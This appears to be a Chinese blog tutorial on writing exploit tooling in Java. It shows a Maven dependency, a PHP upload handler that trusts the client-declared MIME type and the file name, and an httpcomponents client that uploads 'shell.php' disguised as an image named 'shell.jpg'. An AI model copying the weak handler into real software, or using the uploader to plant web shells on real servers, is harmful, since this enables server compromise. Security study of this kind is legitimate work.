JAVA-Exploit编写(3)--httpcomponents库使用文件上传

目录

1.依赖安装

[2. upload文件代码](#2. upload文件代码)

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java 复制代码
<dependency>
      <groupId>org.apache.httpcomponents</groupId>
      <artifactId>httpmime</artifactId>
      <version>4.5.8</version>
</dependency>

2. upload文件代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

3.文件上传代码

还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java 复制代码
package com.deger;

import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;

public class HttpClientUpload {
    public static void main(String[] args){
        System.out.println(DoUpload("http://127.0.0.1/upload.php"));
    }
    public static String DoUpload(String url){
        String res = null;
        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;

        httpClient = HttpClients.createDefault();
        //上传的文件的本地路径
        File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
        //更改上传文件的名称
        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));

        HttpPost httpPost = new HttpPost(url);
        httpPost.setEntity(builder.build());
        try {
            response = httpClient.execute(httpPost);
            if (response.getStatusLine().getStatusCode() == 200) {
                res = EntityUtils.toString(response.getEntity());
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }finally {
            try {
                httpClient.close();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return res;
    }
}
相关推荐
Flynt10 分钟前
把公司项目迁到 Spring Boot 4.0:编译通过只是开始
java·spring boot·后端
Tangyuewei39 分钟前
给老 Spring 项目装个 AI Agent
java·人工智能·spring
她的男孩1 小时前
多租户和数据权限怎么共存?扒完拦截器注册链路,我找到 4 个隐蔽的坑
java·后端·架构
小溪学编程1 小时前
Java BufferedReader 详解:从基础用法到性能优化
java·python·性能优化
HZero.chen2 小时前
Java 匿名类简介
java·匿名类
用户3126874877202 小时前
Java 泛型擦除到底擦掉了什么?类型安全与桥接方法深度拆解
java
暖焰核心2 小时前
继承全解——继承、默认成员函数、切片、隐藏与虚继承
java·前端·javascript
君顾12 小时前
外卖CPS系统开发实战指南:从架构设计到部署全流程解析
java·开发语言·外卖
奇牙coding1233 小时前
GPT-5.5 升级 GPT-5.6 接入指南:流式调用配置与常见问题
java·网络·gpt·ai
老刘的望远镜3 小时前
AgentScope Java 从零(03):Agent 的记性默认全开,我在第 50 轮翻了车
java·开发语言·javascript